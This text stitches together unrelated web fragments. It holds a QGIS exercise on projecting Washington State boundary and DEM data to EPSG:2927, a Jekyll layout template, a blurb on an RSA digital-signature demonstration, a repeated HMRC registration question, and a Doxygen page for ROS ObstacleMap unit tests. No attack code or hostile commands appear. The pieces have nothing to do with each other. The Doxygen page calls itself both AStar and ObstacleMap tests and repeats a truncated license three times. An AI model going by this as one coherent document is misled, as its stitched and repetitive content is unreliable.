- Rasterization/Vectorization - Conversion from raster dataset to vector and vice versa
- Extent Definition - Delineates the bounding box for a dataset, all data outside the box will become null
- Reclassification - Assigns categorical values to a field based on a the contained values
- Spatial Joins - Merges datasets based on spatial proximity/overlay
These methods can be performed using a variety of tools depending on the specific needs of the dataset. Here are a few typical choices to aide in data wrangling:
Exercise
- Set project projection to EPSG:2927
Before starting any project in a GIS program, you should first set the project projection to make sure your data comes in with the same extent.
If you don’t set the project’s projection, the program will use the projection of the first layer added or EPSG:4326.
You can set the projection with the following steps:
- In the top navbar go Project > Project Properties
- Select CRS in the Left menu
- Check Enable On-the-fly CRS transformation
- Using the Filter, search 2927 and select NAD83(HARN)/Washington South(ftUS) EPSG:2927 from the List of Projections.
- Apply and OK to save changes.
- Add the US States shapefile
Since our project is directed at the state of Washington. We should extract the Washington state boundary for our study. The GADM[^7] project provides high-quality boundary data on country,state and county levels. We can use the US-state level dataset to get the Washington boundary.
- Select Add Vector Layer in the left toolbar
- Browse to the USA_adm1.shp layer from the iPlant Data Store
- Create a layer for the state of Washington
- Within the Layers List, click on USA_adm1 to activate layer tools.
- Select Single Feature tool:
Menu Bar > View > Select > Select Single Feature OR
in the top toolbar, select Select Single Feature - Click on the state of Washington to select it
- Right click on the USA_adm1 layer and select Save Selection As…
- Format: ESRI Shapefile
- Save as: washington.shp
- Encoding: UTF-8
- CRS:
- Selected CRS
- Browse > NAD83(HARN)/Washington South (ftUS) EPSG:2927
- Load the new washington layer
- Select Add Vector Layer
- Browse to the new washington layer and click Open
- Remove the USA_adm1 layer from the project
Now that we have the Washington layer, we can get rid of the U.S. layer.
- Right click the layer in the table of contents
- Select Remove
- Add the DEM layer from the iPlant data store
DEMs or Digital Elevation Models are very useful for establishing topological context in a map. DEMs generally come as a raster dataset that consists of elevation values. There are several different byproducts that can be created from DEMs.
This DEM was taken from the GTOPO30 satellite data.
- In the left toolbar, select Add Raster Layer
- Select source_files/W140N90.DEM
- Project the dem to EPSG:2927
- In the top menu, go to Raster > Projections > Warp (Reproject)
- Use the following options
- Input File: W140N90
- Output File: secondary_files/dem-project.tif
- Source SRS: EPSG:4326
- Target SRS: 2927
NOTE: When searching for an SRS, you MUST click on SRS in the bottom list otherwise you will not actually be selecting an SRS - Resampling Method: Near
- No data values: 0
- Be sure to click CLOSE and not OK when exiting tools. Clicking OK will rerun the tool.
- Important! Save you current project workspace in your project directory. Saving will maintain the configuration of your project workspace. You will be using this project workspace for the following lessons.


{% include head.html %}
{% include header-home.html %}
{{ content }}
{% include footer.html %} {% include offcanvas.html %} {% include footer-scripts.html %}


The digital signature is the counterpart of the hand made signature in the physical world for electronic documents.
It fulfils high security requirements: authenticity, integrity and liability. In many countries (e.g. European Union) the electronic signature is also legally equivalent to a hand written signature (depending on some prerequisites). For more information, please refer to the CT Book.
To generate an electronic signature you need:
The RSA signature demonstration visualizes the process of generating a digital signature using an interactive flow chart. This workflow shows the details behind the digital signature, using the methods RSA encryption and hashing.
More details about the RSA procedure are within the dialog RSA cryptosystem.


Are you registered with HMRC to handle other business’ tax matters?
This section is: Accountancy Service Provider
This refers to the HMRC Agent Registration Scheme
This section is: Accountancy Service Provider
This refers to the HMRC Agent Registration Scheme


|
My Project
|
unit tests for AStar class More...
#include <ros/ros.h>
#include <gtest/gtest.h>
#include <iostream>
#include <opencv2/opencv.hpp>
#include "ObstacleMap.hpp"
Functions | |
| TEST (ObstacleMapTest, GetRadiusTest) | |
| Test for getRadius() function. More... | |
| TEST (ObstacleMapTest, CreateRectanglesTest) | |
| Test for createRectangles() function. More... | |
| TEST (ObstacleMapTest, CreateTablesTest) | |
| Test for createTables() function. More... | |
| TEST (ObstacleMapTest, CreateCirclesTest) | |
| Test for createCircles() function. More... | |
| TEST (ObstacleMapTest, DrawBoundaryTest) | |
| Test for drawBoundary() function. More... | |
| TEST (ObstacleMapTest, CreateMapTest) | |
| Test for createMap() function. More... | |
unit tests for AStar class
unit tests for ObstacleMap class
The 3-Clause BSD License
Copyright (c) 2019, Ishan Patel, Nakul Patel, Sri Manika Makam
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
The 3-Clause BSD License
Copyright (c) 2019, Ishan Patel, Nakul Patel, Sri Manika Makam
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
The 3-Clause BSD License
Copyright (c) 2019, Ishan Patel, Nakul Patel, Sri Manika Makam
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
| TEST | ( | ObstacleMapTest | , |
| GetRadiusTest | |||
| ) |
Test for getRadius() function.
| ObstacleMapTest | - name of the test suite |
| GetRadiusTest | - name of the test |
| TEST | ( | ObstacleMapTest | , |
| CreateRectanglesTest | |||
| ) |
Test for createRectangles() function.
| ObstacleMapTest | - name of the test suite |
| CreateRectangleTest | - name of the test |
Checking whether the coordinates are rectangles
| TEST | ( | ObstacleMapTest | , |
| CreateTablesTest | |||
| ) |
Test for createTables() function.
| ObstacleMapTest | - name of the test suite |
| CreateTablesTest | - name of the test |
Checking whether the coordinates are tables
| TEST | ( | ObstacleMapTest | , |
| CreateCirclesTest | |||
| ) |
Test for createCircles() function.
| ObstacleMapTest | - name of the test suite |
| CreateCirclesTest | - name of the test |
Checking whether the coordinates are circles
| TEST | ( | ObstacleMapTest | , |
| DrawBoundaryTest | |||
| ) |
Test for drawBoundary() function.
| ObstacleMapTest | - name of the test suite |
| DrawBoundaryTest | - name of the test |
Checking whether the coordinates are boundaries
| TEST | ( | ObstacleMapTest | , |
| CreateMapTest | |||
| ) |
Test for createMap() function.
| ObstacleMapTest | - name of the test suite |
| CreateMapTest | - name of the test |
Checking whether the coordinates are defined as obstacles